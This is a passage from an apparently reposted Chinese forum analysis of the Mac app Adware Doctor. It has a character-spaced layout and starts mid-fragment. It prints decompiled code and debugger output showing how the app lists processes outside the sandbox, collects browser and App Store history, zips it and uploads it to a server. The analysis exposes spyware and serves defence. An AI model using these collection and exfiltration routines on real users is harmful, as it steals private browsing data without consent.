t t e d + ( v o i d   * ) c o l l e c t P r o c e s s L i s t 2 { . . . r a x   =   s u b _ 1 0 0 0 5 1 9 a d ( & v a r _ 1 0 6 8 ,   & v a r _ 1 0 A 0 ,                       @ " p r o c e s s I D t t t   p r o c e s s N a m e t t t   u s e r I D t t t   u s e r N a m e t t t   c o m m a n d n " ,   r c x ,   r 8 ,   r 9 ) ; . . . v a r _ 1 0 7 0   =   v a r _ 1 0 6 8 ;     d o   {         . . .       p r o c _ p i d p a t h ( * ( i n t 3 2 _ t   * ) ( r 1 4   -   0 x c b ) ,   & v a r _ 1 0 3 0 ,   0 x 1 0 0 0 ) ;     }   w h i l e   ( v a r _ 1 0 8 8   >   r a x ) ; }
s y s c t l 函 数 的 调 用 加 上 字 符 串 G e t B S D P r o c e s s L i s t 给 出 了 进 程 列 表 。 它 是 苹 果 的 G e t B S D P r o c e s s L i s t 代 码 ， 可 从 应 用 程 序 沙 箱 中 获 取 进 程 列 表 ， 也 就 是 说   A d w a r e   D o c t o r 用 来 绕 沙 箱 的 代 码 直 接 来 自 苹 果 。 现 在 让 我 们 看 看 A d w a r e   D o c t o r 如 何 收 集 用 户 的 浏 览 器 历 史 记 录 。 使 用 c o l l e c t B r o w s e r H i s t o r y A n d P r o c e s s 方 法 ， 调 用 ： c o l l e c t S a f a r i H i s t o r y T o F i l e c o l l e c t C h r o m e H i s t o r y T o F i l e f i r e f o x H i s t o r y 这 些 方 法 中 的 每 一 个 都 包 含 用 于 提 取 浏 览 器 历 史 记 录 的 代 码 。 对 于 S a f a r i 而 言 ， 这 将 调 用 解 析 其 H i s t o r y . d b 文 件 ： 该 c o l l e c t C h r o m e H i s t o r y T o F i l e 涉 及 到 多 个 文 件 ， 但 基 本 上 可 以 归 结 为 列 举 C h r o m e 个 人 资 料 ， 然 后 分 析 C h r o m e 历 史 数 据 。 最 后 ， 在 解 析 每 个 配 置 文 件 的 p l a c e s . s q l i t e 数 据 库 之 前 ， c o l l e c t F i r e f o x H i s t o r y T o F i l e 方 法 枚 举 任 何 F i r e f o x 配 置 文 件 ： 该 应 用 程 序 还 有 一 个 名 为 c o l l e c t A p p S t o r e H i s t o r y T o F i l e 的 方 法 ， 它 将 尝 试 在 A p p   S t o r e   A p p 中 获 取 用 户 最 近 的 所 有 搜 索 记 录 ： 在 收 集 完 用 户 数 据 后 将 所 有 内 容 都 压 缩 到 h i s t o r y . z i p 文 件 发 送 ： 此 文 件 以 及 包 含 软 件 列 表 的 J S O N   b l o b （ 已 下 载 的 . d m g s 或 . p k g s 以 及 从 哪 里 下 载 ） ， 然 后 通 过 调 用 s e n d P o s t R e q u e s t W i t h S u f f i x 方 法 上 传 到 服 务 器 （ 请 注 意 A P I 端 点 ： c h e c k a d w a r e ）   ： 到 了 这 里 ， 用 户 数 据 就 发 到 中 国 的 服 务 器 上 去 了 。 结 语 结 语 A d w a r e   D o c t o r 的 行 为 违 反 了 苹 果   M a c   A p p   S t o r e 严 格 的 规 则 和 政 策 。 例 如 ， 在 “ A p p   S t o r e 规 则 和 指 南 ”   的 “ 数 据 收 集 和 存 储 ” 部 分 指 出 ： 0 0 0 0 0 0 0 1 0 0 0 7 d f 9 0                   d d                   0 x 0 0 0 0 0 0 0 1     ; C T L _ K E R N 0 0 0 0 0 0 0 1 0 0 0 7 d f 9 4                   d d                   0 x 0 0 0 0 0 0 0 e       ; K E R N _ P R O C 0 0 0 0 0 0 0 1 0 0 0 7 d f 9 8                   d d                   0 x 0 0 0 0 0 0 0 0     ; K E R N _ P R O C _ A L L i n t   s u b _ 1 0 0 0 5 1 9 a d ( i n t   a r g 0 ,   i n t   a r g 1 ,   i n t   a r g 2 ,   i n t   a r g 3 ,   i n t   a r g 4 ,   i n t   a r g 5 ) {         . . .       r a x   =   s y s c t l ( 0 x 1 0 0 0 7 d f 9 0 ,   0 x 3 ,   0 x 0 ,   r 1 3 ,   0 x 0 ,   0 x 0 ) ;       i f   ( ( r 1 2   ^   r a x )   = =   0 x 1 ) {             _ _ a s s e r t _ r t n ( " G e t B S D P r o c e s s L i s t " ,               " / U s e r s / b u i l d 1 / B r o w s e r - S w e e p e r / s r c / B r o w s e r   S w e e p e r / P o d s / P o d A C E / E n g i n e / A C E C o m m o n . m " ,   . . .         }         r b x   =   m a l l o c ( 0 x 0 ) ;         r a x   =   s y s c t l ( 0 x 1 0 0 0 7 d f 9 0 ,   0 x 3 ,   r b x ,   r 1 3 ,   0 x 0 ,   0 x 0 ) ; + ( v o i d ) c o l l e c t S a f a r i H i s t o r y T o F i l e : ( v o i d   * ) a r g 2   {         . . .       i f   ( [ A C E C o m m o n   a p p I n s t a l l e d B y B u n d l e I d : @ " c o m . a p p l e . S a f a r i " ]   ! =   0 x 0 )   {                 r 1 5   =   [ [ A C E C o m m o n   r e a l H o m e D i r e c t o r y ]   r e t a i n ] ;                 r b x   =   [ [ r 1 5   s t r i n g B y A p p e n d i n g P a t h C o m p o n e n t : @ " L i b r a r y / S a f a r i / H i s t o r y . d b " ]   r e t a i n ] ;                 r 1 4   =   [ [ F M D a t a b a s e Q u e u e   d a t a b a s e Q u e u e W i t h P a t h : r b x ]   r e t a i n ] ;               ; p a r s e   d a t a b a s e         }         e l s e   {                         r 1 4   =   [ [ @ " S a f a r i   n o t   i n s t a l l e d . "   d a t a U s i n g E n c o d i n g : 0 x 4 ]   r e t a i n ] ;                         [ r 1 2   w r i t e D a t a : r 1 4 ] ;                         [ r 1 4   r e l e a s e ] ;                         [ r 1 2   c l o s e F i l e ] ;         } } + ( v o i d ) c o l l e c t C h r o m e H i s t o r y T o F i l e : ( v o i d   * ) a r g 2   {         r 1 3   =   [ [ N S S t r i n g   s t r i n g W i t h F o r m a t : @ " L i b r a r y / A p p l i c a t i o n   S u p p o r t / G o o g l e / C h r o m e / % @ / H i s t o r y " ]   r e t a i n ] ;         r b x   =   [ [ r b x   s t r i n g B y A p p e n d i n g P a t h C o m p o n e n t : r 1 3 ]   r e t a i n ] ;         [ r 1 4   c o p y I t e m A t P a t h : r b x   t o P a t h : v a r _ 1 7 0   e r r o r : 0 x 0 ] ;         . . .         r b x   =   [ [ F M D a t a b a s e Q u e u e   d a t a b a s e Q u e u e W i t h P a t h : v a r _ 1 7 0 ]   r e t a i n ] ;       . . . } + ( v o i d ) c o l l e c t F i r e f o x H i s t o r y T o F i l e : ( v o i d   * ) a r g 2   { . . . r 1 2   =   [ [ N S S t r i n g   s t r i n g W i t h F o r m a t : @ " L i b r a r y / A p p l i c a t i o n   S u p p o r t / F i r e f o x / P r o f i l e s / % @ / p l a c e s . s q l i t e " ]   r e t a i n ] ;     r 1 5   =   [ [ r b x   s t r i n g B y A p p e n d i n g P a t h C o m p o n e n t : r 1 2 ]   r e t a i n ] ;     r 1 4   =   [ [ F M D a t a b a s e Q u e u e   d a t a b a s e Q u e u e W i t h P a t h : r 1 5 ]   r e t a i n ] ; + ( v o i d ) c o l l e c t A p p S t o r e H i s t o r y T o F i l e : ( v o i d   * ) a r g 2   {     . . . 1 5   =   [ [ r b x   s t r i n g B y A p p e n d i n g P a t h C o m p o n e n t : @ " L i b r a r y / C o n t a i n e r s / c o m . a p p l e . a p p s t o r e / D a t a / L i b r a r y / C a c h e s / c o m . a p p l e . a p p s t o r e / W e b K i t C a c h e / V e r s i o n   1 1 / B l o b s " ,   0 x 0 ,   0 x 0 ]   r e t a i n ] ;     . . . r 1 2   =   [ r 1 4   i n i t W i t h F o r m a t : @ " % @ / L i b r a r y / A p p l i c a t i o n   S u p p o r t / % @ / a p p S t o r e D a t a " ,   r 1 5 ,   r b x ]     . . . a r _ 1 A 0   =   @ [ @ " - c " ,   @ " g r e p   s e a r c h . i t u n e s   *   |   s e d   ' s / . * ( h t t p s : / / s e a r c h . i t u n e s . a p p l e . c o m . * q = . * ) "   . * / 1 / ' " ) ] } ( l l d b )   p o   $ r d i < N S C o n c r e t e T a s k :   0 x 1 0 0 3 f a 4 b 0 > ( l l d b )   p o   [ $ r d i   l a u n c h P a t h ] / b i n / b a s h ( l l d b )   p o   [ $ r d i   a r g u m e n t s ] < _ _ N S A r r a y I   0 x 1 0 0 3 5 2 4 8 0 > ( - c , z i p   - r   - - q u i e t   - P   w e b t o o l   " / U s e r s / u s e r / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y . z i p "   " / U s e r s / u s e r / L i b r a r y / C o n t a i n e r s / c o m . y e l a b . B r o w s e r - S w e e p e r / D a t a / L i b r a r y / A p p l i c a t i o n   S u p p o r t / c o m . y e l a b . B r o w s e r - S w e e p e r / h i s t o r y "   >   / d e v / n u l l ) [ v a r _ 1 F 0   s e n d P o s t R e q u e s t W i t h S u f f i x : @ " c h e c k a d w a r e "   p a r a m s : r 1 2   f i l e : r b x ] ; [ { " c o n t e n t " :   " / U s e r s / u s e r / D o w n l o a d s / g o o g l e c h r o m e . d m g n 1 3 9 7 - 0 6 - 0 2   2 1 : 1 5 : 4 6   + 0 0 0 0 n ( n         " h t t p s : / / d l . g o o g l e . c o m / c h r o m e / m a c / s t a b l e / G G R O / g o o g l e c h r o m e . d m g " , n         " h t t p s : / / w w w . g o o g l e . c o m / c h r o m e / " n ) n 5 5 3 3 6 4 1 b c 4 c c 7 a f 7 7 8 4 5 6 5 a c 2 3 8 6 a 8 0 7 n " } , { " c o n t e n t " :   " / U s e r s / u s e r / D o w n l o a d s / c h a r l e s - p r o x y - 4 . 2 . 6 . d m g n 1 3 9 7 - 0 6 - 0 2   2 0 : 4 8 : 1 8   + 0 0 0 0 n ( n         " h t t p s : / / w w w . c h a r l e s p r o x y . c o m / a s s e t s / r e l e a s e / 4 . 2 . 6 / c h a r l e s - p r o x y - 4 . 2 . 6 . d m g " , n         " h t t p s : / / w w w . c h a r l e s p r o x y . c o m / l a t e s t - r e l e a s e / d o w n l o a d . d o " n ) n d e 0 4 3 b 4 3 c 4 9 0 7 7 b b d c e 7 5 d e 2 2 e 2 f 2 d 5 4 n "     } , { " c o n t e n t " :   " / U s e r s / u s e r / D o w n l o a d s / F i r e f o x   6 1 . 0 . 2 . d m g n 1 3 9 7 - 0 6 - 0 2   2 1 : 1 6 : 0 8   + 0 0 0 0 n ( n         " h t t p s : / / d o w n l o a d - i n s t a l l e r . c d n . m o z i l l a . n e t / p u b / f i r e f o x / r e l e a s e s / 6 1 . 0 . 2 / m a c / e n - U S / F i r e f o x % 2 0 6 1 . 0 . 2 . d m g " , n         " h t t p s : / / w w w . m o z i l l a . o r g / e n - U S / f i r e f o x / d o w n l o a d / t h a n k s / ? v = a " n ) n 6 5 0 9 6 9 0 4 b f 8 0 c 4 d d 1 2 e b 3 b a 8 3 3 b 7 d b 8 d n "     } ,     . . . ] - - B o u n d a r y - D 7 7 9 3 8 6 A - 2 A 1 7 - 4 2 6 4 - 9 5 5 A - 9 4 C 5 F C 6 F 5 A F A C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " a t t a c h m e n t " ;   f i l e n a m e = " h i s t o r y . z i p " C o n t e n t - T y p e :   a p p l i c a t i o n / z i p . . .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理